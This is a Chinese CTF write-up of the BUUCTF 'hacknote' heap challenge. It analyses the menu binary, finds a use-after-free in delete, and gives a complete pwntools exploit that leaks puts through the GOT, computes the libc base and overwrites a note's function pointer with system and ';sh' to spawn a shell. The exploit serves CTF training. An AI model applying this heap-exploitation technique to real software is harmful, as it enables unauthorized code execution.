uaf-逻辑题-BUUCTF hacknote

首先拿到题目是个菜单题,在ida中进行手动识别重命名函数如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GAHqnC1N-1638079746325)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211128124830959.png)]

首先按照程序流程配合程序一起分析add函数如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sbenMfWb-1638079746327)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211128130901224.png)]

通过上面分析可知,ptr_array是一个全局数组长度为5,然后进入if判断这个“*(&ptr_array + i)”也就是ptr_array[i]那么这就对每个数组里面的内容进行判空,那就是说这个数组里面的数据是否被add过。

然后就是给数组里面每个分配了一个大小为8byte的chunk实际分配是0x10,然后这句“**(&ptr_array + i) = m_puts”实际就是给ptr_array[i]这个chunk的数据部分的前部分存入m_puts函数的地址。

那么通过上面我的注释总览图是这个样子如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LQv6tHZM-1638079746329)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211128131130281.png)]

接下来就是delete函数分析如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j7Icd8Jq-1638079746330)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211128131301366.png)]

print函数分析如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VhPuLPID-1638079746334)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211128131528173.png)]

因为是堆题,所以找常见漏洞和往常一样free函数处没有置空指针,就一定有uaf漏洞,那么在知道有这个漏洞的情况下,第一反应就是找到哪个chunk具有控制流的权限,这时再结合程序中的print函数可知,实际就是由ptr_array[i]的m_puts函数调用后面的chunk数据,既然在这里发生了函数调用(也就是控制流权限),那么我们将原来的m_puts函数改为system函数,后面的子chunk里面的数据改为’/bin/sh’就ok了,嗯,漏洞利用思路有了,下面就开始实现

个人喜欢前面理论加后面的边调试边写payload的习惯:

首先:程序肯定是从add函数开始玩的,然后需求就是我们需要控制ptr_array[i]下面的两个chunk,一个是控制函数,一个是数据函数,然后发现没有system函数那么就需要我们ret2libc,那么就是构造puts(puts@got)的程序流

那么怎么控制2个相联系的chunk呢,先试试经典的uaf流程add、delete再add一个看看会怎么样:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FUeYSWgS-1638079746335)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211128133740003.png)]

发现并没有什么实际作用,也就是说写了等于没写,我们实际要写入数据的是ptr_array的第一块chunk,既然我们要控制它那么就要申请一块和它大小一样的chunk达到复写的目的,因为我们在add的时候程序已经默认复写了一块8byte大小的chunk,就算我们手动将size赋8后bin中也没有大小为8的chunk,所以我们需要保证bin中有2个大小为8byte大小的chunk,这时我们申请8byte大小的chunk,程序才会分配给我们可使用uaf的chunk,所以我们先调用2次add函数,再调用delete函数,这时bin中就有4个chunk处于free状态且大小为不能都为0x8,这样才能保存我们再次申请时拿到的是前两个具有控制流的chunk,根据tcache的单链表规则我们将会拿到ptr_array[0]的程序默认分配的chunk(控制流的chunk),这时再去复写其中的chunk数据,然后再手动调用ptr_array的控制chunk就可以达到该写程序流了

exp如下:

from pwn import *
from LibcSearcher import *

context (log_level = 'debug' ,bits=32 ,os = 'linux' ,arch = 'i386' ,terminal = ['tmux' , 'splitw', '-h'])
#context (log_level = 'debug' ,bits= 32,os = 'linux' ,arch = 'i386' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])


# Interface
local = 1
binary_name = "hacknote"
ip = "111.200.241.244"
port = 28394

if local:
        p = process(["./" + binary_name])
        e = ELF("./" + binary_name)
        libc = e.libc
else:
        p = remote(ip, port)
        e = ELF("./" + binary_name)
        # libc = ELF("libc-2.23.so")


def z(a=''):
        if local:
                gdb.attach(p, a)
                if a == '':
                        raw_input()
        else:
                pass

ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)

def add(size,content):
    sla('Your choice :','1')
    sla('Note size :',size)
    sla('Content :',content)

def delete(Index):
    sla('Your choice :','2')
    sla('Index :',Index)

def show(Index):
    sla('Your choice :','3')
    sla('Index :',Index)


#z('b *0x4006B1')
puts_got = e.got['puts']
add('20','AAAA')  #这里大小不重要只要不是8就行
add('20','BBBB')
pause()
delete('0')
delete('1')
#uaf
mputs = 0x0804862B
add('8',p32(mputs) + p32(puts_got)) #重点在于申请了8大小的chunk
#这里注意一下,直接获取到的puts_got的值是一个地址,我们需要的是这个地址
#指向的值,也就是puts函数的真实地址  如:0x804a024就是puts在got表中的地址
#0xf7dffca0就是这个地址指向的值,我们需要的是这个值去推算libc基址
show('0')
puts_addr = u32(rc(4))
libc_base = puts_addr - libc.symbols['puts']
success('puts_addr -> %#x',puts_addr)
success('libc_base -> %#x',libc_base)

delete('2')
add('8',p32(libc_base+libc.symbols['system']) + b';sh')
show('0')
pause()
p.interactive()

还有就是既然我们只需要在bin中有2个大小为0x8的chunk就ok了,那么在第一次add的就申请0x8的chunk不就是2个chunk大小的chunk了? 可以看看delete函数如图:这里是先free子chunk再free第一层chunk,因为申请0x8的chunk实际大小是0x10所以free后就进入了tcache里面,那么就是单链表,先进后出,等到我们再调用add函数时,拿到的还是之前add一样顺序的chunk,并不可以直接复写控制流的chunk

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PhTsPGu6-1638079746337)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211128135213205.png)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值